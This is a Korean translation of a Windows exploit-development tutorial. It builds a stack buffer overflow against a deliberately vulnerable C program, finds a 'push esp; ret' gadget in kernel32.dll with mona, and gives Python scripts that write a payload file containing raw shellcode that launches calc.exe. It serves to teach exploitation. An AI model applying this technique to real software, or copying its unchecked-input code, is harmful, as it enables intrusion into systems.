티스토리 뷰

본 문서는 원문 저자인 Massimiliano Tomassoli의 허락 하에 번역이 되었으며, 원문과 관련된 모든 저작물에 대한 저작권은 원문 저자인 Massimiliano Tomassoli에 있음을 밝힙니다. 


http://expdev-kiuhnm.rhcloud.com



최신 윈도우즈 익스플로잇 개발 07. Exploitme1 ("ret eip" 덮어쓰기)


hackability.kr (김태범)

hackability_at_naver.com or ktb88_at_korea.ac.kr

2016.07.19



아래는 취약한 C/C++ 프로그램 입니다.


1
2
3
4
5
6
7
8
9
#include <cstdio>
 
int main() {
    char name[32];
    printf("Enter your name and press ENTER\n");
    scanf("%s", name);
    printf("Hi, %s!\n", name);
    return 0;
}
cs


문제는 scanf 에서 발생되는데 이는 name 배열보다 더 크게 써질 수 있기 때문입니다. 취약점에 대해 검증하기 위해 프로그램에 다음과 같이 긴 이름을 넣고 실행해봅니다.


aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa


프로그램은 다음과 같이 출력합니다.


Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!


그리고 충돌(crash)이 발생 됩니다특정 이름으로 넣었을 때 흥미로운 점은 우리가 임의의 코드를 실행 시킬 수 있다는 것 입니다.


먼저 VS 2013 에서 DEP stack cookie 를 비활성화 시킵니다. (Project -> properties에서 Release 설정을 다음과 같이 변경)

  • Configuration Properties
    • C/C++
      • Code Generation
        • Security Check: Disable Security Check (/GS-)
  • Linker
    • Advanced
      • Data Execution Prevention (DEP: No (/NXCOMPAT:NO)


main() 함수를 어셈블리로 보면 다음과 같습니다.


int main() {

01391000 55                   push        ebp  

01391001 8B EC                mov         ebp,esp  

01391003 83 EC 20             sub         esp,20h  

    char name[32];

    printf("Enter your name and press ENTER\n");

01391006 68 00 21 39 01       push        1392100h  

0139100B FF 15 8C 20 39 01    call        dword ptr ds:[139208Ch]  

    scanf("%s", name);

01391011 8D 45 E0             lea         eax,[name]  

01391014 50                   push        eax  

01391015 68 24 21 39 01       push        1392124h  

0139101A FF 15 94 20 39 01    call        dword ptr ds:[1392094h]  

    printf("Hi, %s!\n", name);

01391020 8D 45 E0             lea         eax,[name]  

01391023 50                   push        eax  

01391024 68 28 21 39 01       push        1392128h  

01391029 FF 15 8C 20 39 01    call        dword ptr ds:[139208Ch]  

0139102F 83 C4 14             add         esp,14h  

    return 0;

01391032 33 C0                xor         eax,eax  

}

01391034 8B E5                mov         esp,ebp  

01391036 5D                   pop         ebp  

01391037 C3                   ret


main()을 호출하는 어셈블리 코드는 다음과 같습니다.


mainret = main(argc, argv, envp);

00261222 FF 35 34 30 26 00    push        dword ptr ds:[263034h]  

00261228 FF 35 30 30 26 00    push        dword ptr ds:[263030h]  

0026122E FF 35 2C 30 26 00    push        dword ptr ds:[26302Ch]  

00261234 E8 C7 FD FF FF       call        main (0261000h)  

00261239 83 C4 0C             add         esp,0Ch


스택은 낮은 주소 방향으로 커집니다. 3개의 push 이후 스택은 다음과 같습니다.


esp -->  argc        ; third push

         argv        ; second push

         envp        ; first push


call 명령은 스택에 0x261239 를 넣기 때문에 ret 명령이 call 명령 이후 코드에 다시 돌아올 수 있습니다. call 이후, main() 함수 시작 부분의 스택은 다음과 같습니다.


esp -->  ret eip      ; 0x261239

         argc         ; third push

         argv         ; second push

         envp         ; first push


main() 함수는 다음과 같이 시작합니다.


01391000 55                   push        ebp  

01391001 8B EC                mov         ebp,esp  

01391003 83 EC 20             sub         esp,20h  


처음 3개의 명령 이후, 스택은 다음과 같이 됩니다.


esp -->  name[0..3]   ; first 4 bytes of "name"

           name[4..7]

           .

           .

           .

           name[28..31] ; last 4 bytes of "name"

  ebp -->  saved ebp

           ret eip      ; 0x261239

           argc         ; third push

           argv         ; second push

           envp         ; first push


이제 scanf()는 기본 입력 (standard input)으로 부터 데이터를 읽고 name 에 쓰게 됩니다. 만약 데이터가 32 바이트를 넘게 되면 ret eip 가 덮어 써지게 됩니다.

 

main() 의 마지막 3개의 명령을 보면 다음과 같습니다.


01391034 8B E5                mov         esp,ebp  

01391036 5D                   pop         ebp  

01391037 C3                   ret


mov esp, ebp 이후 스택은 다음과 같이 됩니다.


esp,ebp -> saved ebp

           ret eip      ; 0x261239

           argc         ; third push

           argv         ; second push

           envp         ; first push


pop ebp 이후에는 다음과 같이 됩니다.


esp -->  ret eip      ; 0x261239

         argc         ; third push

         argv         ; second push

         envp         ; first push


마지막으로 ret 은 스택의 최상단에서 ret eip를 가져오고 해당 주소(eip)로 뛰게 됩니다. 만약 우리가 ret eip 를 변경할 수 있다면 우리가 원하는 실행 흐름으로 직접 변경 할 수 있습니다. 위에 취약점에서 설명 햇듯이, name 배열 뒤쪽을 덮어 쓰게 되면 ret eip 가 덮어 써지게 됩니다. scanf() 함수가 입력 크기를 확인하지 않기 때문에 이런 행위가 가능하게 됩니다.

 

위 내용을 보면 ret eip name + 36을 가리키고 있습니다.

 

VS 2013에서 F5 를 눌러 디버깅 모드로 시작하고 a 를 많이 넣어 봅니다.


aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa


프로그램은 충돌나게 되고 다음과 같은 메시지가 나타나게 됩니다.


Unhandled exception at 0x61616161 in exploitme1.exe: 0xC0000005: Access violation reading location 0x61616161.


아스키 코드로 ‘a’ 0x61를 뜻하는데 이는 우리가 ret eip“aaaa” 로 덮어쓰고 ret 명령은 0x61616161로 뛰는데 이 주소가 유효하지 않아 발생되는 메시지 입니다. 이제 36개의 “a” 4개의 “b” 그리고 몇개의 “c” 를 입력하여 ret eip name + 36에 있는지 확인해 봅니다.


aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccccccc


그러면 다음 메시지가 나오게 됩니다.


Unhandled exception at 0x62626262 in exploitme1.exe: 0xC0000005: Access violation reading location 0x62626262.


이를 통해 우리의 추측이 맞음을 알 수 있습니다. (0x62626262 = “bbbb”)

 

종합해보면 scanf() 전후로 스택은 다음과 같습니다.


         name[0..3]                      aaaa

         name[4..7]                      aaaa

         .                               .

    B    .                          A    .

    E    .                          F    .

    F    name[28..31]  =========>   T    aaaa

    O    saved ebp                  E    aaaa

    R    ret eip                    R    bbbb

    E    argc                            cccc

         argv                            cccc

         envp                            cccc


좀 더 쉽게 하기 위해 프로그램의 입력을 파일에서 읽어 오도록 변경합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <cstdio>
 
int main() {
    char name[32];
    printf("Reading name from file...\n");
 
    FILE *= fopen("c:\\name.dat""rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f);
    name[bytes] = '\0';
    fclose(f);
 
    printf("Hi, %s!\n", name);
    return 0;
}
cs


C:\ name.dat 파일을 생성하고 내용을 다음과 같이 넣습니다.


aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccccccccccccccccccccccccc


WinDbg에서 exploitme1.exe를 불러오고 F5(go)를 하면 다음과 같은 예외를 볼 수 있습니다.


(180c.5b0): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=00000000 ecx=6d383071 edx=00835451 esi=00000001 edi=00000000

eip=62626262 esp=0041f7d0 ebp=61616161 iopl=0         nv up ei pl zr na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

62626262 ??              ???


ESP를 통해 스택이 가리키는 부분을 살펴 보면 다음과 같습니다.


0:000> d @esp

0041f7d0  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc

0041f7e0  63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00  ccccccccccc.....

0041f7f0  dc f7 41 00 28 00 00 00-44 f8 41 00 09 17 35 01  ..A.(...D.A...5.

0041f800  b9 17 e0 fa 00 00 00 00-14 f8 41 00 8a 33 0c 76  ..........A..3.v

0041f810  00 e0 fd 7e 54 f8 41 00-72 9f 9f 77 00 e0 fd 7e  ...~T.A.r..w...~

0041f820  2c 2d 41 75 00 00 00 00-00 00 00 00 00 e0 fd 7e  ,-Au...........~

0041f830  00 00 00 00 00 00 00 00-00 00 00 00 20 f8 41 00  ............ .A.

0041f840  00 00 00 00 ff ff ff ff-f5 71 a3 77 28 10 9e 02  .........q.w(...

0:000> d @esp-0x20

0041f7b0  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa

0041f7c0  61 61 61 61 61 61 61 61-61 61 61 61 62 62 62 62  aaaaaaaaaaaabbbb

0041f7d0  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc

0041f7e0  63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00  ccccccccccc.....

0041f7f0  dc f7 41 00 28 00 00 00-44 f8 41 00 09 17 35 01  ..A.(...D.A...5.

0041f800  b9 17 e0 fa 00 00 00 00-14 f8 41 00 8a 33 0c 76  ..........A..3.v

0041f810  00 e0 fd 7e 54 f8 41 00-72 9f 9f 77 00 e0 fd 7e  ...~T.A.r..w...~

0041f820  2c 2d 41 75 00 00 00 00-00 00 00 00 00 e0 fd 7e  ,-Au...........~


완벽합니다! ESP는 우리의 “c” 를 가리키고 있습니다. (ESP 0x41f7d0) 이제 CTRL+SHIFT+F5 (restart) 해서 다시 exploitme1.exe 를 불러 오고 F5(go)를 합니다. 그러면 스택에 다시 다음과 같음을 볼 수 있습니다.


0:000> d @esp

0042fce0  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc

0042fcf0  63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00  ccccccccccc.....

0042fd00  ec fc 42 00 29 00 00 00-54 fd 42 00 09 17 12 00  ..B.)...T.B.....

0042fd10  94 7f 07 21 00 00 00 00-24 fd 42 00 8a 33 0c 76  ...!....$.B..3.v

0042fd20  00 e0 fd 7e 64 fd 42 00-72 9f 9f 77 00 e0 fd 7e  ...~d.B.r..w...~

0042fd30  c4 79 5c 75 00 00 00 00-00 00 00 00 00 e0 fd 7e  .y\u...........~

0042fd40  00 00 00 00 00 00 00 00-00 00 00 00 30 fd 42 00  ............0.B.

0042fd50  00 00 00 00 ff ff ff ff-f5 71 a3 77 f0 41 80 02  .........q.w.A..


보시다시피, ESP는 여전히 우리의 “c” 를 가리키고 있지만 주소는 달라졌습니다. 이는 우리가 “c”의 위치에 쉘 코드를 넣어도 주소가 계속 변하기 때문에 ret eip 0x42fce0 같은 값을 덮어 쓸수 없다는 의미가 됩니다. 하지만 ESP 는 계속 우리의 쉘 코드를 가리키는데 메모리에 존재하는 JMP ESP 같은 명령어의 주소로 뛰면 안될까요?

 

mona 를 이용하여 해당 명령어를 찾아 보도록 하겠습니다.


0:000> .load pykd.pyd

0:000> !py mona

Hold on...

[+] Command used:

!py mona.py

     'mona' - Exploit Development Swiss Army Knife - WinDbg (32bit)

     Plugin version : 2.0 r554

     PyKD version 0.2.0.29

     Written by Corelan - https://www.corelan.be

     Project page : https://github.com/corelan/mona

    |------------------------------------------------------------------|

    |                                                                  |

    |    _____ ___  ____  ____  ____ _                                 |

    |    / __ `__ \/ __ \/ __ \/ __ `/  https://www.corelan.be         |

    |   / / / / / / /_/ / / / / /_/ /  https://www.corelan-training.com|

    |  /_/ /_/ /_/\____/_/ /_/\__,_/  #corelan (Freenode IRC)          |

    |                                                                  |

    |------------------------------------------------------------------|


Global options :

----------------

You can use one or more of the following global options on any command that will perform

a search in one or more modules, returning a list of pointers :

 -n                     : Skip modules that start with a null byte. If this is too broad, use

                          option -cm nonull instead

 -o                     : Ignore OS modules

 -p <nr>                : Stop search after <nr> pointers.

 -m <module,module,...> : only query the given modules. Be sure what you are doing !

                          You can specify multiple modules (comma separated)

                          Tip : you can use -m *  to include all modules. All other module criteria will be ignored

                          Other wildcards : *blah.dll = ends with blah.dll, blah* = starts with blah,

                          blah or *blah* = contains blah

 -cm <crit,crit,...>    : Apply some additional criteria to the modules to query.

                          You can use one or more of the following criteria :

                          aslr,safeseh,rebase,nx,os

                          You can enable or disable a certain criterium by setting it to true or false

                          Example :  -cm aslr=true,safeseh=false

                          Suppose you want to search for p/p/r in aslr enabled modules, you could call

                          !mona seh -cm aslr

 -cp <crit,crit,...>    : Apply some criteria to the pointers to return

                          Available options are :

                          unicode,ascii,asciiprint,upper,lower,uppernum,lowernum,numeric,alphanum,nonull,startswithnull,unicoderev

                          Note : Multiple criteria will be evaluated using 'AND', except if you are looking for unicode + one crit

 -cpb '\x00\x01'        : Provide list with bad chars, applies to pointers

                          You can use .. to indicate a range of bytes (in between 2 bad chars)

 -x <access>            : Specify desired access level of the returning pointers. If not specified,

                          only executable pointers will be return.

                          Access levels can be one of the following values : R,W,X,RW,RX,WX,RWX or *


Usage :

-------


 !mona <command> <parameter>


Available commands and parameters :


? / eval             | Evaluate an expression

allocmem / alloc     | Allocate some memory in the process

assemble / asm       | Convert instructions to opcode. Separate multiple instructions with #

bpseh / sehbp        | Set a breakpoint on all current SEH Handler function pointers

breakfunc / bf       | Set a breakpoint on an exported function in on or more dll's

breakpoint / bp      | Set a memory breakpoint on read/write or execute of a given address

bytearray / ba       | Creates a byte array, can be used to find bad characters

changeacl / ca       | Change the ACL of a given page

compare / cmp        | Compare contents of a binary file with a copy in memory

config / conf        | Manage configuration file (mona.ini)

copy / cp            | Copy bytes from one location to another

dump                 | Dump the specified range of memory to a file

dumplog / dl         | Dump objects present in alloc/free log file

dumpobj / do         | Dump the contents of an object

egghunter / egg      | Create egghunter code

encode / enc         | Encode a series of bytes

filecompare / fc     | Compares 2 or more files created by mona using the same output commands

fillchunk / fchunk   | Fill a heap chunk referenced by a register

find / f             | Find bytes in memory

findmsp / findmsf    | Find cyclic pattern in memory

findwild / fw        | Find instructions in memory, accepts wildcards

flow / flw           | Simulate execution flows, including all branch combinations

fwptr / fwp          | Find Writeable Pointers that get called

geteat / eat         | Show EAT of selected module(s)

getiat / iat         | Show IAT of selected module(s)

getpc                | Show getpc routines for specific registers

gflags / gf          | Show current GFlags settings from PEB.NtGlobalFlag

header               | Read a binary file and convert content to a nice 'header' string

heap                 | Show heap related information

help                 | show help

hidedebug / hd       | Attempt to hide the debugger

info                 | Show information about a given address in the context of the loaded application

infodump / if        | Dumps specific parts of memory to file

jmp / j              | Find pointers that will allow you to jump to a register

jop                  | Finds gadgets that can be used in a JOP exploit

kb / kb              | Manage Knowledgebase data

modules / mod        | Show all loaded modules and their properties

noaslr               | Show modules that are not aslr or rebased

nosafeseh            | Show modules that are not safeseh protected

nosafesehaslr        | Show modules that are not safeseh protected, not aslr and not rebased

offset               | Calculate the number of bytes between two addresses

pageacl / pacl       | Show ACL associated with mapped pages

pattern_create / pc  | Create a cyclic pattern of a given size

pattern_offset / po  | Find location of 4 bytes in a cyclic pattern

peb / peb            | Show location of the PEB

rop                  | Finds gadgets that can be used in a ROP exploit and do ROP magic with them

ropfunc              | Find pointers to pointers (IAT) to interesting functions that can be used in your ROP chain

seh                  | Find pointers to assist with SEH overwrite exploits

sehchain / exchain   | Show the current SEH chain

skeleton             | Create a Metasploit module skeleton with a cyclic pattern for a given type of exploit

stackpivot           | Finds stackpivots (move stackpointer to controlled area)

stacks               | Show all stacks for all threads in the running application

string / str         | Read or write a string from/to memory

suggest              | Suggest an exploit buffer structure

teb / teb            | Show TEB related information

tobp / 2bp           | Generate WinDbg syntax to create a logging breakpoint at given location

unicodealign / ua    | Generate venetian alignment code for unicode stack buffer overflow

update / up          | Update mona to the latest version


Want more info about a given command ?  Run !mona help


우리가 관심있게 볼 곳은 다음과 같습니다.


jmp / j              | Find pointers that will allow you to jump to a register


한 번 해보죠.


0:000> !py mona jmp

Hold on...

[+] Command used:

!py mona.py jmp

Usage :

Default module criteria : non aslr, non rebase

Mandatory argument :  -r   where reg is a valid register


[+] This mona.py action took 0:00:00


. 다른 인자가 더 필요하군요.


0:000> !py mona jmp -r ESP

Hold on...

[+] Command used:

!py mona.py jmp -r ESP


---------- Mona command started on 2015-03-18 02:30:53 (v2.0, rev 554) ----------

[+] Processing arguments and criteria

    - Pointer access level : X

[+] Generating module info table, hang on...

    - Processing modules

    - Done. Let's rock 'n roll.

[+] Querying 0 modules

    - Search complete, processing results

[+] Preparing output file 'jmp.txt'

    - (Re)setting logfile jmp.txt

    Found a total of 0 pointers


[+] This mona.py action took 0:00:00.110000


안타깝게도 어떤 모듈에서도 이를 찾지 못했습니다. 문제는 모든 모듈이 ASLR (Address Space Layout Randomization)을 지원하기 때문입니다. ASLR은 메모리에 모듈이 로드 될 때마다 모듈의 기본 주소를 변경합니다. 지금은 ASLR이 없고 kernel32.dll 에서 JMP ESP를 찾았다고 해봅시다. 이 모듈은 다른 응용프로그램들에 의해 공유되고 있는 모듈로 이 위치는 윈도우즈가 재부팅 되기 전까지는 변하지 않습니다. 이것은 익스플로잇 측면에서는 효과적이지 못하적이지 못하지만 재부팅 전까지는 ASLR 이 없다고 가정해봅시다.

 

mona–m 옵션을 이용하여 kernel32.dll 에서 검색합니다.


0:000> !py mona jmp -r ESP -m kernel32.dll

Hold on...

[+] Command used:

!py mona.py jmp -r ESP -m kernel32.dll


---------- Mona command started on 2015-03-18 02:36:58 (v2.0, rev 554) ----------

[+] Processing arguments and criteria

    - Pointer access level : X

    - Only querying modules kernel32.dll

[+] Generating module info table, hang on...

    - Processing modules

    - Done. Let's rock 'n roll.

[+] Querying 1 modules

    - Querying module kernel32.dll

                                         ^ Memory access error in '!py mona jmp -r ESP -m kernel32.dll'

 ** Unable to process searchPattern 'mov eax,esp # jmp eax'. **

    - Search complete, processing results

[+] Preparing output file 'jmp.txt'

    - (Re)setting logfile jmp.txt

[+] Writing results to jmp.txt

    - Number of pointers of type 'call esp' : 2

    - Number of pointers of type 'push esp # ret ' : 1

[+] Results :

0x760e7133 |   0x760e7133 (b+0x00037133)  : call esp | ascii {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

0x7614ceb2 |   0x7614ceb2 (b+0x0009ceb2)  : call esp |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

0x7610a980 |   0x7610a980 (b+0x0005a980)  : push esp # ret  |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

    Found a total of 3 pointers


[+] This mona.py action took 0:00:00.172000


예쓰!! 해당 주소를 찾았습니다. 마지막에 있는 것을 사용해보도록 하죠.


0x7610a980 |   0x7610a980 (b+0x0005a980)  : push esp # ret  |  {PAGE_EXECUTE_READ}


주소가 맞는지 확인해봅니다.


0:000> u 0x7610a980

kernel32!GetProfileStringW+0x1d3e4:

7610a980 54              push    esp

7610a981 c3              ret

7610a982 1076db          adc     byte ptr [esi-25h],dh

7610a985 fa              cli

7610a986 157640c310      adc     eax,10C34076h

7610a98b 76c8            jbe     kernel32!GetProfileStringW+0x1d3b9 (7610a955)

7610a98d fa              cli

7610a98e 157630c310      adc     eax,10C33076h


보시다시피, mona 에서는 단순히 JMP 명령만을 찾는 것이 아니라 이와 동일한 역할을 하는 CALL PUSH+RET 으로 이루어진 것도 찾습니다. Intel CPU little-endian 방식이기 때문에 해당 주소는 “\x80\xa9\x10\x76” 이 됩니다.

 

파이썬 스크립트를 작성해봅시다.


1
2
3
4
5
with open('c:\\name.dat''wb') as f:
    ret_eip = '\x80\xa9\x10\x76'
    shellcode = '\xcc'
    name = 'a'*36 + ret_eip + shellcode
    f.write(name)
cs


WinDbg에서 exploitme1.exe를 다시 실행하고 F5를 누르면 WinDbg는 우리의 쉘코드로 뛰게 됩니다. (0xCC opcode int 3을 의미하며 이는 디버거에서 소프트웨어 breakpoint 로 사용됩니다)


(1adc.1750): Break instruction exception - code 80000003 (first chance)

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\syswow64\kernel32.dll -

eax=00000000 ebx=00000000 ecx=6d383071 edx=002e5437 esi=00000001 edi=00000000

eip=001cfbf8 esp=001cfbf8 ebp=61616161 iopl=0         nv up ei pl zr na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246

001cfbf8 cc              int     3


이제 진짜 쉘코드를 넣습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
with open('c:\\name.dat''wb') as f:
    ret_eip = '\x80\xa9\x10\x76'
    shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
        "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
        "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
        "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
        "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
        "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
        "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
        "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
        "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
        "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
        "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
        "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
        "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
        "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
        "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
        "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
        "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
        "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
        "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
        "\x30\x03\xc6\xeb\xdd")
    name = 'a'*36 + ret_eip + shellcode
    f.write(name)
cs


쉘 코드는 아래를 이용하여 생성합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
#define HASH_ExitThread             0x4b3153e0
#define HASH_WinExec                0x7bb4c07f
 
int entryPoint() {
    DefineFuncPtr(WinExec);
    DefineFuncPtr(ExitThread);
 
    // makes our shellcode shorter
    char calc[] = { 'c''a''l''c''.''e''x''e''\0' };
    My_WinExec(calc, SW_SHOW);
    My_ExitThread(0);
 
    return 0;
}
cs


쉘코드가 가물가물 하신분들은 쉘 코드 파트를 다시 보시기 바랍니다.

 

exploitme1.exe 를 실행하면 계산기가 뜸을 볼 수 있습니다. 우리의 첫 번째 익스플로잇!!!!



문제 해결

 

만약 익스플로잇이 정상적으로 동작하지 않는다면 스택의 크기 제한 때문에 그럴 수 있습니다. 만약 그렇다면 http://expdev-kiuhnm.rhcloud.com/2015/06/13/more-space-on-the-stack/ 를 읽어 보시기 바랍니다.

댓글